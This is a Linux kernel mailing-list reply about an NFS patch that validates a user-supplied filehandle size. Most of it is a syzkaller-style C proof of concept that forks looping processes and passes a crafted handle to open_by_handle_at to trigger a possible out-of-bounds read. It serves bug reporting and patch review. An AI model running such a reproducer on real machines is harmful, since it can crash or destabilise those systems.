Re: [PATCH] nfs:check for user input filehandle size

[zhangjian <zhangjian496@xxxxxxxxxx>]

I am not sure if it is really a problem, since this memory is readonly 
and fails the check below (fh_len < len || fh_type != len). 

Which for advices.

The POC is as below:

#include <dirent.h>
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <sys/stat.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

static unsigned long long procid;

static void sleep_ms(uint64_t ms)
{
    usleep(ms * 1000);
}

static uint64_t current_time_ms(void)
{
    struct timespec ts;
    if (clock_gettime(CLOCK_MONOTONIC, &ts))
    exit(1);
    return (uint64_t)ts.tv_sec * 1000 + (uint64_t)ts.tv_nsec / 1000000;
}

static bool write_file(const char* file, const char* what, ...)
{
    char buf[1024];
    va_list args;
    va_start(args, what);
    vsnprintf(buf, sizeof(buf), what, args);
    va_end(args);
    buf[sizeof(buf) - 1] = 0;
    int len = strlen(buf);
    int fd = open(file, O_WRONLY | O_CLOEXEC);
    if (fd == -1)
        return false;
    if (write(fd, buf, len) != len) {
        int err = errno;
        close(fd);
        errno = err;
        return false;
    }
    close(fd);
    return true;
}

static void kill_and_wait(int pid, int* status)
{
    kill(-pid, SIGKILL);
    kill(pid, SIGKILL);
    for (int i = 0; i < 100; i++) {
        if (waitpid(-1, status, WNOHANG | __WALL) == pid)
            return;
        usleep(1000);
    }
    DIR* dir = opendir("/sys/fs/fuse/connections");
    if (dir) {
        for (;;) {
            struct dirent* ent = readdir(dir);
            if (!ent)
                break;
            if (strcmp(ent->d_name, ".") == 0 || strcmp(ent->d_name, "..") == 0)
                continue;
            char abort[300];
            snprintf(abort, sizeof(abort), "/sys/fs/fuse/connections/%s/abort", ent->d_name);
            int fd = open(abort, O_WRONLY);
            if (fd == -1) {
                continue;
            }
            if (write(fd, abort, 1) < 0) {
            }
            close(fd);
        }
        closedir(dir);
    } else {
    }
    while (waitpid(-1, status, __WALL) != pid) {
    }
}

static void setup_test()
{
    prctl(PR_SET_PDEATHSIG, SIGKILL, 0, 0, 0);
    setpgrp();
    write_file("/proc/self/oom_score_adj", "1000");
}

static void execute_one(void);

#define WAIT_FLAGS __WALL

static void loop(void)
{
    int iter = 0;
    for (;; iter++) {
        int pid = fork();
        if (pid < 0)
    exit(1);
        if (pid == 0) {
            setup_test();
            execute_one();
            exit(0);
        }
        int status = 0;
        uint64_t start = current_time_ms();
        for (;;) {
            if (waitpid(-1, &status, WNOHANG | WAIT_FLAGS) == pid)
                break;
            sleep_ms(1);
            if (current_time_ms() - start < 5000)
                continue;
            kill_and_wait(pid, &status);
            break;
        }
    }
}

uint64_t r[1] = {0xffffffffffffffff};

void execute_one(void)
{
        intptr_t res = 0;
memcpy((void*)0x200001c0, "/mnt/cachefilesd/test/1\000", 24);
    res = syscall(__NR_openat, /*fd=*/0xffffffffffffff9cul, /*file=*/0x200001c0ul, /*flags=*/0ul, /*mode=*/0ul);
    if (res != -1)
        r[0] = res;
*(uint32_t*)0x20000000 = 0xc;
*(uint32_t*)0x20000004 = 1;
*(uint32_t*)0x20000008 = 0xc6;
*(uint64_t*)0x2000000c = 0;
    syscall(__NR_open_by_handle_at, /*mountdirfd=*/r[0], /*handle=*/0x20000000ul, /*flags=*/0ul);

}
int main(void)
{
        syscall(__NR_mmap, /*addr=*/0x1ffff000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
    syscall(__NR_mmap, /*addr=*/0x20000000ul, /*len=*/0x1000000ul, /*prot=*/7ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
    syscall(__NR_mmap, /*addr=*/0x21000000ul, /*len=*/0x1000ul, /*prot=*/0ul, /*flags=*/0x32ul, /*fd=*/-1, /*offset=*/0ul);
    for (procid = 0; procid < 10; procid++) {
        if (fork() == 0) {
            loop();
        }
    }
    sleep(1000000);
    return 0;
}